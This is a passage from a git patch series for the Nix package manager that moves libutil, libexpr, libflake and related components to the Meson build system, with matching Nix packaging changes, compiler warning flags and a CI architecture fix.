index bfc523b3d5e..640b527f10e 100644
--- a/doc/manual/src/protocols/nix-archive.md
+++ b/doc/manual/src/protocols/nix-archive.md
@@ -29,7 +29,7 @@ regular = [ str("executable"), str("") ], str("contents"), str(contents);
 symlink = str("target"), str(target);
 
 (* side condition: directory entries must be ordered by their names *)
-directory = str("type"), str("directory") { directory-entry };
+directory = { directory-entry };
 
 directory-entry = str("entry"), str("("), str("name"), str(name), str("node"), nar-obj, str(")");
 ```

From e084316130a255313eb026db8bc64a653f5ffb0c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 19:28:09 +0200
Subject: [PATCH 453/528] Add mkMesonPackage for local meson packages

This helper makes it easy to use filesets that include files from
parent directories, which we'll need more of in
https://github.com/NixOS/nix/pull/10973
---
 packaging/dependencies.nix | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
index 88273df2210..484385128bb 100644
--- a/packaging/dependencies.nix
+++ b/packaging/dependencies.nix
@@ -10,6 +10,33 @@
   stdenv,
   versionSuffix,
 }:
+let
+  inherit (pkgs) lib;
+
+  localSourceLayer = finalAttrs: prevAttrs:
+    let
+      root = ../.;
+      workDirPath =
+        # Ideally we'd pick finalAttrs.workDir, but for now `mkDerivation` has
+        # the requirement that everything except passthru and meta must be
+        # serialized by mkDerivation, which doesn't work for this.
+        prevAttrs.workDir;
+
+      workDirSubpath = lib.path.removePrefix root workDirPath;
+      sources = assert prevAttrs.fileset._type == "fileset"; prevAttrs.fileset;
+      src = lib.fileset.toSource { fileset = sources; inherit root; };
+
+    in
+    {
+      sourceRoot = "${src.name}/" + workDirSubpath;
+      inherit src;
+
+      # Clear what `derivation` can't/shouldn't serialize; see prevAttrs.workDir.
+      fileset = null;
+      workDir = null;
+    };
+
+in
 scope: {
   inherit stdenv versionSuffix;
 
@@ -55,4 +82,6 @@ scope: {
       CONFIG_ASH_TEST y
     '';
   });
+
+  mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f);
 }

From 7dd938b228c0dc5c5e42eb0efcbbe9929bde9f90 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 30 Jun 2024 19:42:05 +0200
Subject: [PATCH 454/528] libutil/package.nix: Remove .version symlink
 replacement solution

---
 src/libutil/package.nix | 33 +++++++++++++++------------------
 1 file changed, 15 insertions(+), 18 deletions(-)

diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index 892951cdf4e..1996a6c4d8d 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -1,5 +1,6 @@
 { lib
 , stdenv
+, mkMesonDerivation
 , releaseTools
 
 , meson
@@ -38,22 +39,22 @@ let
     else stdenv.mkDerivation;
 in
 
-mkDerivation (finalAttrs: {
+mkMesonDerivation (finalAttrs: {
   pname = "nix-util";
   inherit version;
 
-  src = fileset.toSource {
-    root = ./.;
-    fileset = fileset.unions [
-      ./meson.build
-      ./meson.options
-      ./linux/meson.build
-      ./unix/meson.build
-      ./windows/meson.build
-      (fileset.fileFilter (file: file.hasExt "cc") ./.)
-      (fileset.fileFilter (file: file.hasExt "hh") ./.)
-    ];
-  };
+  workDir = ./.;
+  fileset = fileset.unions [
+    ../../.version
+    ./.version
+    ./meson.build
+    ./meson.options
+    ./linux/meson.build
+    ./unix/meson.build
+    ./windows/meson.build
+    (fileset.fileFilter (file: file.hasExt "cc") ./.)
+    (fileset.fileFilter (file: file.hasExt "hh") ./.)
+  ];
 
   outputs = [ "out" "dev" ];
 
@@ -80,13 +81,9 @@ mkDerivation (finalAttrs: {
   disallowedReferences = [ boost ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
-    ''
-      echo ${version} > .version
-    ''
     # Copy some boost libraries so we don't get all of Boost in our
     # closure. https://github.com/NixOS/nixpkgs/issues/45462
-    + lib.optionalString (!stdenv.hostPlatform.isStatic) (''
+    lib.optionalString (!stdenv.hostPlatform.isStatic) (''
       mkdir -p $out/lib
       cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
       rm -f $out/lib/*.a

From 93b50857edbee33c7c6522d4d5971b5081c5b7c1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 30 Jun 2024 17:25:32 +0200
Subject: [PATCH 455/528] packaging: Restore .version value altering behavior

---
 src/libutil/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index 1996a6c4d8d..8ba6daa2a4b 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -81,9 +81,14 @@ mkMesonDerivation (finalAttrs: {
   disallowedReferences = [ boost ];
 
   preConfigure =
+    # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after.
+    ''
+      chmod u+w ./.version
+      echo ${version} > ../../.version
+    ''
     # Copy some boost libraries so we don't get all of Boost in our
     # closure. https://github.com/NixOS/nixpkgs/issues/45462
-    lib.optionalString (!stdenv.hostPlatform.isStatic) (''
+    + lib.optionalString (!stdenv.hostPlatform.isStatic) (''
       mkdir -p $out/lib
       cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
       rm -f $out/lib/*.a

From 6600b1c7e07a87347505a80938739b2d44f763a7 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 1 Jul 2024 19:10:41 +0200
Subject: [PATCH 456/528] tests/functional/flakes/eval-cache.sh: Don't write a
 result symlink in the wrong location

---
 tests/functional/flakes/eval-cache.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh
index d581a8dbde2..e3fd0bbfe8c 100755
--- a/tests/functional/flakes/eval-cache.sh
+++ b/tests/functional/flakes/eval-cache.sh
@@ -36,4 +36,4 @@ expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
 # Conditional error should not be cached
 expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
   | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
-nix build "$flake1Dir#ifd"
+nix build --no-link "$flake1Dir#ifd"

From df3e92ff964ba7e87c426f4bbd621032811ab5e1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 1 Jul 2024 20:38:43 +0200
Subject: [PATCH 457/528] installerScriptForGHA: aarch64-darwin

GitHub Actions seems to have magically switched architectures
without changing their identifiers.
See https://github.com/actions/runner-images/blob/2813ee66cbe85b31a8322ff8967148548b1a5db9/README.md#available-images
Maybe they have more complete documentation elsewhere, but it
seems to be incapable of selecting a runner based on architecture.
---
 packaging/hydra.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/packaging/hydra.nix b/packaging/hydra.nix
index 5715abd8eaa..a1691ed3898 100644
--- a/packaging/hydra.nix
+++ b/packaging/hydra.nix
@@ -105,7 +105,7 @@ in
   installerScriptForGHA = installScriptFor [
     # Native
     self.hydraJobs.binaryTarball."x86_64-linux"
-    self.hydraJobs.binaryTarball."x86_64-darwin"
+    self.hydraJobs.binaryTarball."aarch64-darwin"
     # Cross
     self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
     self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"

From 101915c9b73cfe434457f380de4fbaea03430851 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 2 Jul 2024 08:35:56 +0200
Subject: [PATCH 458/528] enable -Werror=unused-result

Inspired by
https://git.lix.systems/lix-project/lix/commit/010ff57ebb40f1a9aaff99867d2886f0e59f774a

From the original PR:

> We do not have any of these warnings appearing at the moment, but
> it seems like a good idea to enable [[nodiscard]] checking anyway.
> Once we start introducing more functions with must-use conditions we will
> need such checking, and the rust stdlib has proven them very useful.
---
 Makefile                               | 2 +-
 src/libfetchers/meson.build            | 1 +
 src/libstore/meson.build               | 1 +
 src/libutil-c/meson.build              | 1 +
 src/libutil/meson.build                | 1 +
 src/perl/meson.build                   | 5 ++++-
 tests/unit/libutil-support/meson.build | 1 +
 tests/unit/libutil/meson.build         | 1 +
 8 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/Makefile b/Makefile
index 132fe29cc7b..bb64a104e72 100644
--- a/Makefile
+++ b/Makefile
@@ -92,7 +92,7 @@ ifdef HOST_WINDOWS
   GLOBAL_LDFLAGS += -Wl,--export-all-symbols
 endif
 
-GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -include $(buildprefix)config.h -std=c++2a -I src
+GLOBAL_CXXFLAGS += -g -Wall -Wdeprecated-copy -Wignored-qualifiers -Wimplicit-fallthrough -Werror=unused-result -include $(buildprefix)config.h -std=c++2a -I src
 
 # Include the main lib, causing rules to be defined
 
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index cab8d63eb22..d7975ac65f7 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -58,6 +58,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index a605b43e1a6..d9237c55a5c 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -164,6 +164,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index a2b0208188c..5de288e18ca 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -34,6 +34,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 9d0b28539ca..099c0c65fdc 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -143,6 +143,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
diff --git a/src/perl/meson.build b/src/perl/meson.build
index 06abb4f2eb9..5fe7e1e28fa 100644
--- a/src/perl/meson.build
+++ b/src/perl/meson.build
@@ -23,11 +23,14 @@ nix_perl_conf.set('PACKAGE_VERSION', meson.project_version())
 # set error arguments
 #-------------------------------------------------
 error_args = [
+  '-Werror=unused-result',
+  '-Wdeprecated-copy',
+  '-Wdeprecated-declarations',
+  '-Wignored-qualifiers',
   '-Wno-pedantic',
   '-Wno-non-virtual-dtor',
   '-Wno-unused-parameter',
   '-Wno-variadic-macros',
-  '-Wdeprecated-declarations',
   '-Wno-missing-field-initializers',
   '-Wno-unknown-warning-option',
   '-Wno-unused-variable',
diff --git a/tests/unit/libutil-support/meson.build b/tests/unit/libutil-support/meson.build
index 5912c00e06a..c0345a6eee4 100644
--- a/tests/unit/libutil-support/meson.build
+++ b/tests/unit/libutil-support/meson.build
@@ -28,6 +28,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
diff --git a/tests/unit/libutil/meson.build b/tests/unit/libutil/meson.build
index 56147686b04..cc13c436461 100644
--- a/tests/unit/libutil/meson.build
+++ b/tests/unit/libutil/meson.build
@@ -34,6 +34,7 @@ add_project_arguments(
   '-Wimplicit-fallthrough',
   '-Werror=switch',
   '-Werror=switch-enum',
+  '-Werror=unused-result',
   '-Wdeprecated-copy',
   '-Wignored-qualifiers',
   # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked

From fbdc5549085b1162109e8853799a627f479c5a72 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 21:19:44 -0400
Subject: [PATCH 459/528] Fix Nix shell for building Perl too

---
 src/perl/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/perl/package.nix b/src/perl/package.nix
index 85f1547b7cf..e1a84924c6b 100644
--- a/src/perl/package.nix
+++ b/src/perl/package.nix
@@ -40,6 +40,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
     meson
     ninja
     pkg-config
+    perl
   ];
 
   buildInputs = [

From 31257009e1562e00a4c99dd93e3e31e0c9074522 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 26 Jun 2024 22:15:33 -0400
Subject: [PATCH 460/528] Meson build for libexpr and libflake

---
 meson.build                            |   8 +-
 packaging/components.nix               |   5 +-
 src/libexpr/.version                   |   1 +
 src/libexpr/meson.build                | 254 +++++++++++++++++++++++++
 src/libexpr/meson.options              |   3 +
 src/libexpr/package.nix                | 130 +++++++++++++
 src/libexpr/primops/fetchTree.cc       |   2 +-
 src/libfetchers/meson.build            |  46 ++---
 src/libfetchers/package.nix            |   7 +-
 src/libflake/.version                  |   1 +
 src/libflake/meson.build               | 120 ++++++++++++
 src/libflake/package.nix               |  99 ++++++++++
 src/libstore/meson.build               |  40 ++--
 src/libstore/package.nix               |   3 -
 tests/unit/libutil-support/meson.build |  39 ++--
 tests/unit/libutil/meson.build         |  95 ++++-----
 16 files changed, 731 insertions(+), 122 deletions(-)
 create mode 120000 src/libexpr/.version
 create mode 100644 src/libexpr/meson.build
 create mode 100644 src/libexpr/meson.options
 create mode 100644 src/libexpr/package.nix
 create mode 120000 src/libflake/.version
 create mode 100644 src/libflake/meson.build
 create mode 100644 src/libflake/package.nix

diff --git a/meson.build b/meson.build
index 085ac086500..7832eb48878 100644
--- a/meson.build
+++ b/meson.build
@@ -9,13 +9,19 @@ project('nix-dev-shell', 'cpp',
 subproject('libutil')
 subproject('libstore')
 subproject('libfetchers')
-subproject('perl')
+subproject('libexpr')
+subproject('libflake')
+
+# Docs
 subproject('internal-api-docs')
 subproject('external-api-docs')
 
 # C wrappers
 subproject('libutil-c')
 
+# Language Bindings
+subproject('perl')
+
 # Testing
 subproject('libutil-test-support')
 subproject('libutil-test')
diff --git a/packaging/components.nix b/packaging/components.nix
index b5e47969e05..01b4e826eba 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -19,10 +19,13 @@ in
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
 
-  nix-perl-bindings = callPackage ../src/perl/package.nix { };
+  nix-expr = callPackage ../src/libexpr/package.nix { };
+
+  nix-flake = callPackage ../src/libflake/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
 
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
 
+  nix-perl-bindings = callPackage ../src/perl/package.nix { };
 }
diff --git a/src/libexpr/.version b/src/libexpr/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libexpr/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
new file mode 100644
index 00000000000..8f08decd408
--- /dev/null
+++ b/src/libexpr/meson.build
@@ -0,0 +1,254 @@
+project('nix-expr', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public_subproject = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-store'),
+  dependency('nix-fetchers'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
+
+# This is only conditional to work around
+# https://github.com/mesonbuild/meson/issues/13293. It should be
+# unconditional.
+if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
+  deps_private += dependency('threads')
+endif
+
+boost = dependency(
+  'boost',
+  modules : ['container', 'context'],
+)
+# boost is a public dependency, but not a pkg-config dependency unfortunately, so we
+# put in `deps_other`.
+deps_other += boost
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+bdw_gc = dependency('bdw-gc', required : get_option('gc'))
+if bdw_gc.found()
+  deps_public += bdw_gc
+  foreach funcspec : [
+    'pthread_attr_get_np',
+    'pthread_getattr_np',
+  ]
+    define_name = 'HAVE_' + funcspec.underscorify().to_upper()
+    define_value = cxx.has_function(funcspec).to_int()
+    configdata.set(define_name, define_value)
+  endforeach
+  configdata.set('GC_THREADS', 1)
+endif
+configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int())
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-expr.h',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  # '-include', 'config-fetchers.h',
+  '-include', 'config-expr.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+parser_tab = custom_target(
+  input : 'parser.y',
+  output : [
+    'parser-tab.cc',
+    'parser-tab.hh',
+  ],
+  command : [
+    'bison',
+    '-v',
+    '-o',
+    '@OUTPUT0@',
+    '@INPUT@',
+    '-d',
+  ],
+  # NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add
+  # an install script below which removes parser-tab.cc.
+  install : true,
+  install_dir : get_option('includedir') / 'nix',
+)
+
+lexer_tab = custom_target(
+  input : [
+    'lexer.l',
+    parser_tab,
+  ],
+  output : [
+    'lexer-tab.cc',
+    'lexer-tab.hh',
+  ],
+  command : [
+    'flex',
+    '--outfile',
+    '@OUTPUT0@',
+    '--header-file=' + '@OUTPUT1@',
+    '@INPUT0@',
+  ],
+  # NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add
+  # an install script below which removes lexer-tab.cc.
+  install : true,
+  install_dir : get_option('includedir') / 'nix',
+)
+
+generated_headers = []
+foreach header : [
+  'imported-drv-to-derivation.nix',
+  'fetchurl.nix',
+  'flake/call-flake.nix',
+  'primops/derivation.nix',
+]
+  generated_headers += custom_target(
+    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
+    input : header,
+    output : '@PLAINNAME@.gen.hh',
+  )
+endforeach
+
+
+sources = files(
+  'attr-path.cc',
+  'attr-set.cc',
+  'eval-cache.cc',
+  'eval-error.cc',
+  'eval-gc.cc',
+  'eval-settings.cc',
+  'eval.cc',
+  'function-trace.cc',
+  'get-drvs.cc',
+  'json-to-value.cc',
+  'nixexpr.cc',
+  'paths.cc',
+  'primops.cc',
+  'primops/context.cc',
+  'primops/fetchClosure.cc',
+  'primops/fetchMercurial.cc',
+  'primops/fetchTree.cc',
+  'primops/fromTOML.cc',
+  'print-ambiguous.cc',
+  'print.cc',
+  'search-path.cc',
+  'value-to-json.cc',
+  'value-to-xml.cc',
+  'value/context.cc',
+)
+
+headers = [config_h] + files(
+  'attr-path.hh',
+  'attr-set.hh',
+  'eval-cache.hh',
+  'eval-error.hh',
+  'eval-gc.hh',
+  'eval-inline.hh',
+  'eval-settings.hh',
+  'eval.hh',
+  'function-trace.hh',
+  'gc-small-vector.hh',
+  'get-drvs.hh',
+  'json-to-value.hh',
+  'nixexpr.hh',
+  'parser-state.hh',
+  'pos-idx.hh',
+  'pos-table.hh',
+  'primops.hh',
+  'print-ambiguous.hh',
+  'print-options.hh',
+  'print.hh',
+  'repl-exit-status.hh',
+  'search-path.hh',
+  'symbol-table.hh',
+  'value-to-json.hh',
+  'value-to-xml.hh',
+  'value.hh',
+  'value/context.hh',
+)
+
+this_library = library(
+  'nixexpr',
+  sources,
+  parser_tab,
+  lexer_tab,
+  generated_headers,
+  dependencies : deps_public + deps_private + deps_other,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = []
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
+requires += deps_public
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+  libraries_private : ['-lboost_container', '-lboost_context'],
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_directories('.'),
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : deps_public_subproject + deps_public,
+))
diff --git a/src/libexpr/meson.options b/src/libexpr/meson.options
new file mode 100644
index 00000000000..242d30ea785
--- /dev/null
+++ b/src/libexpr/meson.options
@@ -0,0 +1,3 @@
+option('gc', type : 'feature',
+  description : 'enable garbage collection in the Nix expression evaluator (requires Boehm GC)',
+)
diff --git a/src/libexpr/package.nix b/src/libexpr/package.nix
new file mode 100644
index 00000000000..223b0404231
--- /dev/null
+++ b/src/libexpr/package.nix
@@ -0,0 +1,130 @@
+{ lib
+, stdenv
+, releaseTools
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, nix-store
+, nix-fetchers
+, boost
+, boehmgc
+, nlohmann_json
+
+# Configuration Options
+
+, versionSuffix ? ""
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+
+# Whether to use garbage collection for the Nix language evaluator.
+#
+# If it is disabled, we just leak memory, but this is not as bad as it
+# sounds so long as evaluation just takes places within short-lived
+# processes. (When the process exits, the memory is reclaimed; it is
+# only leaked *within* the process.)
+#
+# Temporarily disabled on Windows because the `GC_throw_bad_alloc`
+# symbol is missing during linking.
+, enableGC ? !stdenv.hostPlatform.isWindows
+}:
+
+let
+  inherit (lib) fileset;
+
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-expr";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    boost
+  ];
+
+  propagatedBuildInputs = [
+    nix-util
+    nix-store
+    nix-fetchers
+    nlohmann_json
+  ] ++ lib.optional enableGC boehmgc;
+
+  disallowedReferences = [ boost ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+    (lib.mesonFeature "gc" enableGC)
+  ];
+
+  env = {
+    # Needed for Meson to find Boost.
+    # https://github.com/NixOS/nixpkgs/issues/86131.
+    BOOST_INCLUDEDIR = "${lib.getDev boost}/include";
+    BOOST_LIBRARYDIR = "${lib.getLib boost}/lib";
+  } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  postInstall =
+    # Remove absolute path to boost libs that ends up in `Libs.private`
+    # by default, and would clash with out `disallowedReferences`. Part
+    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
+    ''
+      sed -i "$out/lib/pkgconfig/nix-expr.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
+    '';
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libexpr/primops/fetchTree.cc b/src/libexpr/primops/fetchTree.cc
index fa6b1c4b6cc..567b73f9a1b 100644
--- a/src/libexpr/primops/fetchTree.cc
+++ b/src/libexpr/primops/fetchTree.cc
@@ -1,4 +1,4 @@
-#include "libfetchers/attrs.hh"
+#include "attrs.hh"
 #include "primops.hh"
 #include "eval-inline.hh"
 #include "eval-settings.hh"
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index d7975ac65f7..c1702152725 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -21,26 +21,23 @@ deps_private = [ ]
 deps_public = [ ]
 
 # See note in ../nix-util/meson.build
-deps_other = [ ]
-
-configdata = configuration_data()
-
-nix_util = dependency('nix-util')
-if nix_util.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_util
-else
-  deps_public += nix_util
-endif
+deps_public_subproject = [ ]
 
-nix_store = dependency('nix-store')
-if nix_store.type_name() == 'internal'
-  # subproject sadly no good for pkg-config module
-  deps_other += nix_store
-else
-  deps_public += nix_store
-endif
+# See note in ../nix-util/meson.build
+deps_other = [ ]
 
+foreach nix_dep : [
+  dependency('nix-util'),
+  dependency('nix-store'),
+]
+  if nix_dep.type_name() == 'internal'
+    deps_public_subproject += nix_dep
+    # subproject sadly no good for pkg-config module
+    deps_other += nix_dep
+  else
+    deps_public += nix_dep
+  endif
+endforeach
 
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
@@ -113,14 +110,9 @@ this_library = library(
 install_headers(headers, subdir : 'nix', preserve_path : true)
 
 requires = []
-if nix_util.type_name() == 'internal'
-  # `requires` cannot contain declared dependencies (from the
-  # subproject), so we need to do this manually
-  requires += 'nix-util'
-endif
-if nix_store.type_name() == 'internal'
-  requires += 'nix-store'
-endif
+foreach dep : deps_public_subproject
+  requires += dep.name()
+endforeach
 requires += deps_public
 
 import('pkgconfig').generate(
@@ -138,5 +130,5 @@ meson.override_dependency(meson.project_name(), declare_dependency(
   include_directories : include_directories('.'),
   link_with : this_library,
   compile_args : ['-std=c++2a'],
-  dependencies : [nix_util, nix_store],
+  dependencies : deps_public_subproject + deps_public,
 ))
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index a5583d14cd2..d2560255e8c 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -38,7 +38,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-fetchers";
+  pname = "nix-flake";
   inherit version;
 
   src = fileset.toSource {
@@ -80,11 +80,6 @@ mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  postInstall =
-    # Remove absolute path to boost libs
-    ''
-    '';
-
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
   # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
diff --git a/src/libflake/.version b/src/libflake/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libflake/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
new file mode 100644
index 00000000000..c0862a48413
--- /dev/null
+++ b/src/libflake/meson.build
@@ -0,0 +1,120 @@
+project('nix-flake', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
